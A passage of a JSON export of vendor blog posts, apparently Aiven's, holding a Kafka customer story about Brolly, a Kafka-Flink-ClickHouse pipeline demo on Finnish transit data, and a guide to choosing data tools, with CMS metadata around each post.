by Thoughtworks Inc](https://www.cloudcarbonfootprint.org/), a tech consultancy with expertise on cloud emissions. Once integrated, it can show customers their carbon emissions associated with the Aiven service use. By exposing emissions, we aim at enabling customers to optimize their cloud footprint and infrastructure setup, contributing to more efficient use of cloud resources and allowing them to make informed decisions taking sustainability into account. To improve the data inputs needed to accurately calculate emissions, we plan to collaborate with several cloud providers\n\nWe’re also measuring and starting to reduce the carbon emissions generated by our business. Even though there are multiple sources of emissions across our value chain and operations, we are first focussing on emissions hotspots, which are areas with a particularly high environmental impact and if addressed properly, they can be minimised over time. \n## Powerful agents for driving change\nDespite different focuses, marine biologists and database engineers share important skills and values that make them powerful agents for driving change. Collaborative working helps identify threats and inform sustainability strategies while technical know-how helps to understand and measure the impact of sustainability efforts. \n\nUltimately, both are a driving force for positive change for the business and the planet, empowering stakeholders and inspiring others to join a journey we must all make.\n","categories":[{"_key":"3a285fb4d1b6","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"},{"_key":"cfafd924d7c6","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"a97b865252ec","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-07f48c26dd3cc0a48dda148053bff25ea8e401cd-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-13T09:20:00.000Z","seo":{"_type":"metaData","metaDescription":"Simplify multi-cloud data infrastructure with Aiven’s open-source solutions for rapid, confident app development. Find out more in our blog!","metaTitle":"Sustainability in Engineering Data | Aiven"},"slug":{"_type":"slug","current":"/blog/helping-enterprises-make-sense-of-sustainability"},"title":"Helping Enterprises Make Sense of Sustainability in an Ocean of Engineering Data"}
{"__i18n_lang":"en","_createdAt":"2023-07-10T06:50:46Z","_id":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_rev":"sEwq5NBiPauorOxrhiRPyK","_type":"post","_updatedAt":"2024-11-19T08:14:44Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"As a social media archiving \u0026 insights platform, effective data processing and data management are mission-critical for Brolly. Aligned with rapid customer growth in social media traffic, Brolly needed a robust way to collect and store these social media conversations – one that was compliant with industry data privacy and security regulations. Brolly partnered with Aiven to create a modern data infrastructure that is resilient, secure, and agile enough to keep ahead of customers’ expanding social media archiving needs. Using Aiven for Apache Kafka®, Brolly has significantly contributed to reducing system errors and operating costs, while also freeing up valuable IT resources. This enables its people to focus on creating new services that matter most – value creation and customer satisfaction. \n\n## Growing on social media, responsibly\nAccording to Statista, in 2022, consumers spent an average of 147 minutes per day on social media. Given the popularity of social media apps as a preferred communication tool, many large organisations like banks, insurers, and Government agencies regularly use social media to interact with their customers, every day. This near real-time communication generates vast amounts of data that needs to be processed and stored in line with industry compliance requirements.\n\nGiven that Brolly’s customers are mainly in regulated industries such as Government, financial services, education, and healthcare providers, collecting and keeping social media records secure is of utmost importance to them. \n\n“Data is a core business function for us. Capturing and preserving social media conversations securely, reliably, and in compliance with the various data and privacy regulations across different regions within Australia and the region is critical for our customer base. Our analytics framework needed to be resilient enough to make sense of the massive amount of data that is generated,” says Ali Nazemian, Chief Technology Officer at Brolly. \n\n\u003e “Data is a core business function for us. Capturing and preserving social media conversations securely, reliably, and in compliance with the various data and privacy regulations across different regions within Australia and the region is critical for our customer base. Our analytics framework needed to be resilient enough to make sense of the massive amount of data that is generated,” says Ali Nazemian, Chief Technology Officer at Brolly\n\n## Staying ahead to manage increasing data volumes in real-time\nPrior to partnering with Aiven, Brolly was struggling to manage the endless streams of structured and unstructured information and data coming in from multiple sources. All too often, this was happening in real time, using an outdated data streaming architecture that was no longer fit for purpose. As a result, Brolly was struggling to manage the increased volume of real-time data and their transactional use cases, which resulted in additional time spent on computation. To make matters worse, the previous platform failed to capture certain customer data meaning valuable IT resources were spent recapturing the data. Due to the platform not being fully automated, this led to human intervention which went against regulatory data compliance. \n\nThe last straw was when Brolly’s engineering team found themselves drowning in a backlog due to the platform’s inability to ingest massive amounts of data, which frustrated the data users, engineers, and ultimately, customers. Support tickets were also slow to generate.\n\nBrolly realised it needed to invest in a modern database and system that was agile and flexible enough to keep up with the large volumes of customer data needing processing and archiving. Its new platform needed to be robust enough to accurately capture, process, and archive its customers’ growing volumes of social media data.  It also needed to be simple to use and easy to manage with the ability to ingest various incoming data streams and support multiple data sources.\n\n“It was crucial that the team was familiar with the technologies powering the new data platform with zero vendor lock-in and managed by a service provider that we could trust to take care of the back-end services, while we focused on delivering value to our customers,” Ali says. \n\n## Data infrastructure made simple\nTo meet Brolly’s requirements for a modern data platform that could keep pace with its exponential growth in customer data, Brolly partnered with Aiven, selecting Aiven for Apache Kafka.\n\n“We were looking for a reliable technology partner that we can trust to deliver, scale, and support our social archiving needs and services on demand, without additional resourcing pressures. Aiven made everything so simple for us from the get-go,” said Ali.  \n\nAiven was able to provide all the data infrastructure components Brolly needed, coupled with the innate ability to scale horizontally and vertically to meet the company’s streaming needs and workloads, as it continues to accommodate greater amounts of traffic and use cases.  \n\nThe digital transformation, including migrating Brolly customers’ data over to the new Aiven platform and services was completed in less than four months without any downtime, allowing Brolly to continue meeting their customers’ social media archiving requirements. \n\nCurrently, Brolly is running Apache Kafka as the backbone of its data infrastructure. Avro with Karapace is also used to circumvent the decoupled nature of Apache Kafka, ensuring seamless message compatibility amongst Brolly microservices. While Kafka Connect is used to share events internally amongst Brolly’s critical services. \n\n## Enjoying the best of both worlds with Aiven\nAiven’s cloud-based infrastructure is well-suited to support the growing scale of Brolly’s intensive social media archiving needs, such as the rate of data ingestion changing frequently, where a solution that can keep up with millions of messages over a short time is needed.\n“Messages can go viral, so it’s important to have a scalable solution that can keep up with social media records no matter what the rate of ingestion is,” Ali elaborates. “To overcome this, we have used Aiven for Apache Kafka and its ecosystem to build an event-driven data pipeline that can be a highly distributed and scalable medium for social media records in transit.”\n\nThe event streaming platform’s flexible architecture also makes moving data a breeze, tapping its open-source advantages to pull in various APIs, management interfaces, and applications to give diverse options. As an open-source cloud data platform, Aiven connects all the components in the value chain, from producers to consumers.\n\n“With the use of Aiven’s fully managed service for Apache Kafka, we have the best of both worlds by keeping our operations cost low, having the assurance of commercial support, and using a trusted and reliable solution with the support of the wider open-source communities. This platform support is vital for a dynamic outfit like Brolly,” Ali says, “as it allows Brolly to focus on what is important to us, which is giving our customers peace of mind.” \n\n\u003e “With the use of Aiven’s fully managed service for Apache Kafka, we have the best of both worlds by keeping our operations cost low, having the assurance of commercial support, and using a trusted and reliable solution with the support of the wider open-source communities. This platform support is vital for a dynamic outfit like Brolly,”\n\n## Taking operational efficiencies and customer experience to the next level\nSince implementing Apache Kafka, Brolly has been able to manage its resources better which sees a reduction in infrastructure total cost of ownership by 60%, with accuracy and data recovery improving by more than 300%. \n\nWhile accuracy is paramount, the twin competencies of speed and reliable data volume handling are equally important. “When a social media account gets connected to Brolly, all the corresponding social media records for that account get collected in just a few hours in addition to serving real-time messages immediately,” the CTO said. “Our customers are now able to extract and search millions of records in real-time once their historical data is collected.” \n\nAs a result, Brolly’s customers can now increase their visibility, engagements, and customer traffic while adhering to the industry’s regulatory and compliance needs.\n\nOn the technical side, the record processing latency has decreased by two orders of magnitude from more than a minute to less than a second on average. There has also been a significant decrease on the computational side of Brolly’s infrastructure as they are now able to work more efficiently, increasing operational efficiencies by more than 200%.\n\n## The blueprint for social media archiving\nBrolly is currently identifying new services for its customers to detect inappropriate content or suspicious events in real time. The company is also intending to up the ante to protect its customers’ data and their online communities by helping them reduce risks associated with potential social content violations while maintaining brand consistency. \n\n“The use of open-source technologies from Aiven has helped us to focus on making social media a better place for our customers, communities, and citizens,” summarises Brolly’s Ali. “This will allow us to be the best social media archiving and insights platform and yet give back to the community.”\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"2d7a89d6-3449-4fd3-b8ac-9fee4dc36662","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Brolly","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}},"publishedAt":"2023-07-10T06:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® boosts data efficiency, reduces errors, and lets Brolly focus on customer value. Find out more about the cooperation in our blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}},"metaTitle":"Brolly Analyzes Social Data with Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/brolly-uses-aiven-to-make-sense-of-its-customer-social-data"},"subtitle":"Social media archiving \u0026 insights platform, Brolly, needed a robust and compliant way to capture and store its massive volumes of customer data","title":"Brolly uses Aiven for Apache Kafka® to make sense of its customer’s social data"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T06:35:50Z","_id":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_rev":"h4ancfFTuSnQNBSq3G9E6W","_type":"post","_updatedAt":"2024-11-18T13:06:36Z","authors":[{"_key":"2a47e2eb246a","_ref":"1b8da1ec-b144-42b2-9889-39943155ba32","_type":"reference"}],"body":"What happens if you have an interesting data set, a lot of ideas and questions, and the clock is ticking? You want to deliver quality insights within minutes and make innovation simple, and we want to help with that. Our demo - using the Digitransit data set, with tools and open source services from the Aiven Platform - shows an example of how it can work.\n\nWe also hosted a webinar where Dave explained this topic in more detail. Watch the recording here: \n\n::youtube[How to build data analytics pipelines]{#8heId4kFPJ0}\n\n### What we’ll cover:\n\n- [**The Digitransit platform:**](#from-open-source-platform-to-railway-platform-the-basis-of-our-demo) check out the data architecture components for our solution and the input data source from the 3rd party API.\n- [**Digging into the underground:**](#digging-into-the-underground) take a look at our tube map as we get started on our journey!\n- [**First leg:**](#minor-configuration-on-the-kafka-connect-line) visit the Kafka Connect® framework for subscribing to the MQTT feed.\n- [**A stopover at Apache Flink:**](#a-stopover-at-apache-flink-for-pre-processing) for a spot of mapping, flattening and some transformations\n- [**Last stop:**](#last-stop-aiven-for-clickhouse) to get your data safe and sound so you can run your analytical queries.\n- [**Wrapping up:**](#wrapping-up) try this out yourself with some extra credits. Take the Catch the Bus Challenge on the Aiven Console, and take a look at some of our other resources.\n\n## From open source platform to railway platform: the basis of our demo\nDigitransit powers the websites and mobile apps used by Finnish travelers every day. What’s special about this platform (and why we like it here at Aiven) is that it’s fully open source. They provide a lovely set of APIs for mapping, geocoding and some near-real-time data feeds for service alerting, trip updates and vehicle positions.\n\nLet’s grab this data feed, build a pipeline quickly on Aiven, and use these events to learn something new about the state of public transport in Finland!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5583677a2d66121adcd2953324abdf28f7cef15d-1422x800.png)\n\nAs you can see, [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) architectures can get *complex* (and if you’re interested in diving deeper, take a look at [future.com’s great info](https://future.com/emerging-architectures-modern-data-infrastructure/)). But here above, we’ve highlighted the data pipeline architecture components we’ll use for our solution:\n\n- The input data source is the 3rd party API provided by Digitransit, which sends the data as an MQTT stream.\n- We’ll use an event streaming platform powered by [Apache Kafka®](https://aiven.io/kafka).\n- Stream processing works through [Apache Flink®](https://aiven.io/flink).\n- Our real-time analytical database is powered by [ClickHouse®](https://aiven.io/blog/what-is-clickhouse).\n\nAnd all of these are running on Aiven!\n\n## Digging into the underground\nHere’s the full map of what we’re set to build.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/0255bc816b6e6ef4e4896e97b55b40a08f90544a-1422x800.jpg)\n\nOutside of the core services already mentioned, you can see we have a few extra stops along the way:\n\n- The [Kafka Connect® framework](https://aiven.io/kafka-connect) for subscribing to the Digitransit MQTT feed\n- [M3DB](https://aiven.io/m3) as a time series database along the top\n- A [Grafana®](https://aiven.io/grafana) instance for dashboards\n\nM3DB and Grafana are used to monitor the state of the pipeline and make sure it's healthy. We can check out incoming message rates and consumer lag, and set alerting thresholds for them.\n\n[With your trial account](https://console.aiven.io/signup/email), drop into the Aiven console where you’ll see the full range of open source managed services on offer.\n\n### Minor configuration on the Kafka Connect® line \nInside our Kafka Connect® service we’ll run the MQTT Source Connector from Stream Reactor. There’s no custom coding required, just some minimal configuration to point to the correct endpoint, pass in the topic details and let the connector know what data format to write (we’re going with JSON just to keep it simple, but Avro’s also an option).\n\nOnce this is running, we get records like this appearing on a Kafka topic.\n \n![image](https://cdn.sanity.io/images/sczeoy4w/production/fed7c9734209f5a1d72c7f76766e66af69e5d864-1422x800.png)\n\nWe have operator IDs, vehicle IDs, speed, heading, location as latitude / longitude and a variety of other fields. But there’s a couple of problems here.\n\nFirst, the whole thing is wrapped as a JSON object called VP (vehicle position). Second, these IDs don’t mean much - we want to know the transport operator’s name. \n\n\u003e **Note:** If you want to [see how to build all this](https://github.com/dbeech/big-data-ldn-demo) in Github using Terraform, we’ve got you covered.\n\n### A stopover at Apache Flink for pre-processing\n![image](https://cdn.sanity.io/images/sczeoy4w/production/04262c771ec50ce4f29277bf42c1916f35b59e24-1422x800.png)\n\nSo let’s pass through Apache Flink to pre-process the stream. We’re doing a few things here:\n\n- We’ll join each record to a small reference dataset that’s sitting in a PostgreSQL database, just a simple mapping of operator ID to name.\n- We’ll get rid of that nesting and write a flattened set of values to a different topic, still in JSON format but without that useless wrapper object.\n- We could also do some simple transformations. For example, the speed value is reported in meters per second but maybe I’d prefer miles per hour or kilometers per hour. Here would be a great place to write a new computed column alongside the original. \n\nThese transformations are defined as an SQL query. We define Flink tables which act as overlays on top of both the raw data Kafka topic and reference data table in Postgres, select from these and join however we like, then write back to a new table which sits on top of a second Kafka topic for pre-processed records.\n\n### Last stop: Aiven for ClickHouse\nFinally, we want our data in ClickHouse so we can run analytical queries against it very soon after it arrives. [ClickHouse has great Kafka integration](https://aiven.io/blog/connecting-kafka-and-clickhouse) out of the box so we can define a table here with an engine type of Kafka, which runs a consumer group and constantly reads new data arriving on the topics we want.\n\nQuerying this table shows us the latest records consumed, so it’s no good on its own - you can’t query the same data twice without resetting the consumer group details. So what we’ll do instead is create a ClickHouse materialized view on top of it.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/cd70a0ca0f5bef939749619cd349997989a62a79-1422x800.jpg)\n\nNow ClickHouse constantly reads data from Kafka in the background. The data trickles through into the materialized view and is persisted so we can query it over and over again.\n\n## Wrapping up\nAnd that’s it. With these tools and this know-how, you can navigate the underground to create value and innovate with your own data systems.\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n### Further reading\n\n- [Build what you’ve seen in this article](https://github.com/dbeech/big-data-ldn-demo) in GitHub using the Aiven Terraform provider\n- Learn how to perform analytics with fast response time over huge volumes of data without the need to downsample data. [Connect Apache Kafka® and Aiven for ClickHouse®](https://aiven.io/blog/connecting-kafka-and-clickhouse)\n- [Set up an Aiven for Apache Kafka / Aiven for Apache Flink integration using the Aiven Terraform Provider](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-flink-integration-recipe.html)\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)\n\n----\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n","categories":[{"_key":"97d300a9e531","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"1a8aa23e2cac","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"We demo a real-time data analytics pipeline with a public transport twist","asset":{"_ref":"image-d8fafe7d5b1fe4dd0db95ba438d357b299bda050-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-31T10:41:37.274Z","related":[{"_key":"73cc26f181ed","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"5d0d3043d4f9","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®.","metaTitle":"Build a Real-Time Analytics Pipeline in Minutes | Aiven"},"slug":{"_type":"slug","current":"/blog/build-a-real-time-analytics-pipeline"},"subtitle":"Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®.","title":"Build a real-time analytics pipeline in less time than your morning bus ride"}
{"__i18n_lang":"en","_createdAt":"2024-02-29T11:44:46Z","_id":"ec2034e7-a659-4a4d-a90f-5f860c990c95","_rev":"h4ancfFTuSnQNBSq3JC4vs","_type":"post","_updatedAt":"2024-11-19T11:00:44Z","authors":[{"_key":"351eb12fd20e","_ref":"fb82c695-bb6c-49c1-87f4-7dfecc3f6eb0","_type":"reference"}],"body":"Today, we're embarking on an adventure through the intricate world of data. Whether you're a seasoned CTO or new to tech overall, understanding the nuances of data is critical to making informed decisions. Let's unravel this complex data web, asking the right questions to discover the perfect tools for your data journey.\n\n## What's the shape of your data?\n\nNo two datasets are alike. The structure of the data changes the kind of tooling needed to manipulate that data \n\n### Structured or unstructured?\n\nFrom a structural perspective you can think of data as existing on a continuum or gradient: on the one side, there's highly structured data, like customer profiles. Each customer has a known name, address, phone number, and we can expect those to fall within certain formatting constraints. For example, a phone number will always be a set of numbers and special characters. On the other side, there's unstructured data: the contents of an email, for example, are unstructured. \n\nThe shape of the data should define what kind of software you use to store and manipulate it.\n   \n- **Structured data:** Structured data is data where you have predictable fields with predictable data types. Storing a customer profile is the perfect example: customers have a name, phone number and email address. You know that the name will be a String, you know the phone number will be numbers, and you know the email address will follow a certain format. You might need to access these individual pieces of data on their own, or you might need to bring up a Name-Phone-Email set to generate a display. \n\t- **Possible tech match:** Relational (SQL) databases are well suited for structured data because they store data in columns and rows. They also provide good validation at the database level for the kinds of data coming in. Tools like MySQL or PostgreSQL® work efficiently for storing and querying structured data. \n- **Semi-structured data:** Semi-structured data is data that contains some structure, such as tags or identifiers, but does not or cannot be stored in a strictly tabular fashion. For example, comments on a Google Doc are semi-structured data: there are certain pieces of the data that are known and consistent (the comment author's name and email, for example), and pieces of the data that are free-form (the comment itself). As mentioned above, it's usually best to store data in the most structured format possible, as that lets you validate and manipulate the data more efficiently. Look for a tabular database with support for data formats like JSON and XML.\n\t- **Possible tech match:** JSON or XML databases, which contain structured elements but are more flexible than traditional databases. Additional options include MongoDB or PostgreSQL which has extensive support for JSON. \n- **Unstructured data:** This is data that is unique in each instance, but has little to no identifiable, consistent internal fields. Email is a great example of unstructured data. While you can count on an email having a sender and a receiver, you can't predict whether or not it will have an attached file, whether or not anyone will be included in the CC and BCC lines, or what kind of text (if any) will be included in the body.\n\t- **Possible tech match:** NoSQL databases like Cassandra or Redis, document stores, or data lakes can handle unstructured data effectively. \n\n### Manipulation needs\n\nThe next thing to consider is what you intend to do with your data. Are you collecting data for long term storage or are you moving data from one location to another, analyzing and using it contextually? In the world of data systems, we think of this data as either being static, dynamic, or a hybrid of the both.\n\nNot all data services are oriented towards storage alone. Streaming messaging services, on-the-fly data analysis and storage for large aggregates of analytics data are all valid use cases\n\n- **Static data:** Data that does not often need updates and can maintain stability and allow querying over time and possibly massive amounts of data.\n\t- **Possible tech match:** Relational databases like MySQL or PostgreSQL are suitable for static data as they maintain data integrity and stability over time. ClickHouse is on the rise since it supports analytical workloads over massive amounts of data.\n- **Dynamic data:** Constantly evolving data that frequently updates in real-time. Think stock prices or sensor data like your thermostat changing automatically when it gets too cold. \n\t- **Possible tech match:** Technologies like Apache Kafka® for real-time data streaming or in-memory databases like Redis®* for rapid data access are well-suited for dynamic data.\n- **Hybrid Data:** Data that occasionally changes, like monthly sales records or quarterly performance data. Here, it would help if you had a balance between tools that handle some dynamic updates and those that maintain static information.\n\t- **Possible tech match:** Hybrid data scenarios benefit from a combination of technologies. You can use a combination of traditional databases like PostgreSQL and data streaming platforms like Kafka for hybrid data needs.\n\n## How will you use and access your data?\n\nNow that you’ve looked at the structure and use of your data, how and who will be accessing the data? The speed and frequency with which you need access to data determines the tools that are viable for you. In this section we’ll review different ways of accessing your data from periodically needing to receive updates to needing those updates in real time. \n\n### Data access patterns\n\n- **Pull data for reports (periodic access):** Data that is accessed occasionally, in batches. Requests are made at infrequent intervals and need to wait for the report or similar to compile.  \n\t- **Possible tech match:** SQL Databases are ideal for scenarios requiring detailed, complex queries. PostgreSQL or MySQL (and ClickHouse) are well-suited for environments where data integrity and periodic access are the norm. Specialized datastores like OpenSearch can be a good hit for particular search patterns (which involve text search).\nReal-Time Analytics (Continuous Access): Like mentioned above, in Dynamic Data, Constantly evolving data that frequently updates in real-time. The information flows continuously.\n\t- **Possible tech match:** Using Streaming Technologies. Platforms like Apache Kafka® or Apache Flink® are the champions of high-speed, real-time data processing. They're great for scenarios demanding immediate insights and continuous data flow.\n- **Hybrid access:** A combination of pull and stream methods for scenarios where you need regular reports but also require real-time alerts or updates.\n\t- **Possible tech match:** Hybrid Database Systems: These systems combine the features of both SQL and NoSQL databases, offering flexibility for varied data access patterns and complex queries. They are ideal for organizations with diverse data needs. A few possibilities could look like DynamoDB, Altibase, or Microsoft SQL Server.\n\n## What are your security and privacy requirements?\n\nWhen thinking of Security and Privacy Requirements, what does your industry and data require? Understanding the compliance and safety needs of your data will guide you to what tools can meet those requirements.\n\n### Navigating regulatory compliance\n\n- **Understanding the requirements of your data:** Key items that you would need to identify would include, Users, Roles, Access Patterns, and how strict the assets definition would be. \n\t- **Possible tech match:** Modern databases offer ways to perform \"raw level security\" enabling you to define exactly what a certain user can or cannot see.\n- **Key regulations:** GDPR in the EU, HIPAA for healthcare data in the US, and PCI DSS for credit card transactions are just a few examples. Each set of regulations requires specific handling and protection measures for personal and sensitive data.\n\t- **Possible tech match:** Data Privacy Management Platforms. Tools like OneTrust or TrustArc provide comprehensive solutions for managing privacy compliance, including GDPR.\n- **Industry-specific regulations:** Apart from GDPR, HIPAA, and PCI DSS, certain industries have specific data handling regulations. For example, FERPA for educational data in the US.\n\t- **Possible tech match:** Healthcare Data Management Systems and Payment Processing Platforms. Healthcare-specific systems like Epic Systems or Cerner Corporation help healthcare organizations meet HIPAA requirements. PCI DSS-compliant payment gateways such as Stripe or Braintree can be used for secure credit card transactions.\n\n### Ensuring minimal data exposure\n\n- **Implementing robust access control:** Use principles like Least Privilege and Role-Based Access Control to ensure each user accesses only what they need, no more.\n\t- **Possible tech match:** PostgreSQL, MySQL, Kafka, are a few options that provide ways to safely dictate what users are and what they can do. Tools like Klaw, port the user and role definition to match internal processes.\n- **Data masking and encryption:** Keep sensitive information hidden and secure at rest and in transit.\n\t- **Possible tech match:** Data Masking and Encryption Tools. Utilize database encryption solutions like Amazon RDS encryption or file-level encryption tools like VeraCrypt. Aiven for PostgreSQL and Aiven for Flink can be used to mask, obscure and aggregate data\n\n## How much data do you have, and what is it's growth trajectory?\n\nWhen thinking about the amount of data and how the data will expand, it is vital to consider long term storage of your data, how quickly data can be accessed, and how your data will grow over time.\n\n### Understanding your data's volume\n\n- **Small to large scale:** It's essential to choose tools and strategies to handle this growth, from gigabytes in a local database to petabytes in cloud-based, distributed systems.\n\t- **Possible tech match:** Data tools like PostgreSQL and Kafka are often used for scalability. Especially moving to different tiers of storage needed like Kafka Tiered Storage.  Data can also be parked in a data lake or Cloud-based, distributed systems like Amazon S3, Google Cloud Storage, or Azure Blob Storage are suitable for handling data that starts small and can grow to petabytes. Using one of these options can allow the data to be queried by tools such as Clickhouse. Platforms such as Aiven can assist with scaling on cloud storage.\n- **Data complexity:** In addition to volume, consider the complexity of your data. Complex data might require more advanced processing tools, even if the volume could be a lot higher.\n\t- **Possible tech match:**  Advanced data processing tools like Apache Flink, Apache Spark™, or Apache Hadoop® can handle complex data structures and analytics, regardless of the volume.\n\n### Planning for future growth\n\n- **Scalability strategies:** Whether vertical scaling (enhancing existing systems) or horizontal scaling (expanding to multiple systems), your approach should be flexible and scalable.\n\t- **Possible tech match:** You may find that you need more than one tool to fit the solution for what you need to scale. An option for vertical scaling (enhancing existing systems) could be PostgreSQL and options for horizontal scaling (expanding to multiple systems) could be Cassandra, Kafka, Flink, and Clickhouse.\n- **Choosing the right technologies:** Evaluate the balance between serverless and traditional offering. Look for cloud solutions that provide the type of elasticity you require. Might it be vertical or horizontal scaling, serverless or easily scalable instances\n\t- **Possible tech match:** Cloud solutions like AWS, Google Cloud, or Azure offer elasticity and scalability. Additionally, consider NoSQL databases like Apache Cassandra® or distributed databases like Amazon DynamoDB for handling distributed data. There are many different avenues that one could go. Serverless may be less expensive initially but as it scales with traffic become exponentially more costly. Another tool you could consider would be Aiven. The Aiven platform provides you a scalable way to keep your bill under control.\n- **Data lifecycle management:** As your data grows, consider implementing data lifecycle management strategies to archive older data, keeping your active datasets efficient and manageable. \n\t- **Possible tech match:** You can Implement data lifecycle management strategies moving data from operational databases like PostgreSQL and MySQL to analytical databases like Clickhouse that can scale horizontally.\n\n## Are you keeping up with emerging trends and technologies?\n\nIt’s now time to consider how your data will morph over time and how to keep up with the emerging trends. A big factor to consider, how future proof is the infrastructure of the data. By being aware of emerging trends, you will be able to decipher if new tools will help with engineering power, storage needs, and cost optimization.\n\n### Exploring cutting-edge technologies\n\n- **Real-time processing:** Technologies like Apache Kafka are revolutionizing how we handle data, offering immediate processing and distribution capabilities.\n\t- **Possible tech match:** Apache Kafka and Apache Flink for real-time data streaming and processing. It enables rapid data processing and distribution, making it ideal for real-time analytics and event-driven applications.\n- **Big data and AI integration:** AI and machine learning tools are opening new frontiers in data analytics and automation.\n\t- **Possible tech match:** Hadoop and Spark for handling large-scale data analytics and AI integration. Additionally, consider machine learning frameworks like TensorFlow or PyTorch for advanced AI capabilities. Keep an eye on existing technologies as they add AI capabilities, such as PostgreSQL with pgvector, OpenSearch and ClickHouse.\n- **Cloud computing advancements:** Keep an eye on the latest in cloud computing, like serverless architectures and edge computing, which can significantly impact data processing and storage strategies.\n\t- **Possible tech match:** Explore cloud computing advancements such as serverless architectures (for instance., AWS Lambda, Azure Functions) for cost-effective and scalable computing. The article “Real-Time Sentiment Analysis Using Apache Kafka and SageMaker Jupyter Notebooks” would be a good starting point to understanding the process.\n\n### Balancing stability with innovation\n\n- **Hybrid approaches:** The key is to blend the reliability of traditional databases with the agility of new technologies. This creates a versatile, robust system that can handle various data scenarios.\n\t- **Possible tech match:** Implement hybrid database systems like Aiven for PostgreSQL to blend the reliability of traditional databases with the flexibility of new technologies. Utilize Kubernetes for container orchestration to create a versatile and adaptable system.\n- **Staying informed and adaptable:** The tech landscape is ever-changing. Keeping abreast of new developments and being ready to incorporate them into your existing systems is crucial for staying ahead\n\t- **Possible tech match:** Stay informed about emerging technologies through industry-specific publications, forums, and conferences. Adopt DevOps practices and continuous integration/deployment (CI/CD) pipelines to ensure your systems remain adaptable to new developments.\n- **Environmental considerations:** As you adopt new technologies, consider their environmental impact. Energy-efficient data centers and green computing practices are becoming increasingly important in the tech world.\n\t- **Possible tech match:** Implement energy-efficient data center practices using technologies like server consolidation, virtualization, and data center cooling optimizations. Consider cloud providers focusing on sustainability, such as AWS's commitment to renewable energy.\n\n\n## Learn more\n\nIn this labyrinth of data management, understanding these five key aspects is like having a map and compass. It's about knowing where you are, where you're heading, and having the right tools for the journey. Each question we've explored is a stepping stone towards more informed, efficient, and secure data handling.\n\nSo what's your data story? Are you quickly navigating this maze's twists and turns or seeking a guiding light? Share your tales, questions, and insights below. Let's continue this conversation and grow together in this ever-changing realm of data.\n\nRemember, we're here to guide you in this complex dance of data handling. For more insights and updates, follow us on [YouTube](https://www.youtube.com/aiven_io), [LinkedIn](https://www.linkedin.com/company/aiven/), and [X](https://twitter.com/aiven_io).\n\n\n## Further reading\n\n- [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)\n\n- [Static IP addresses for your data 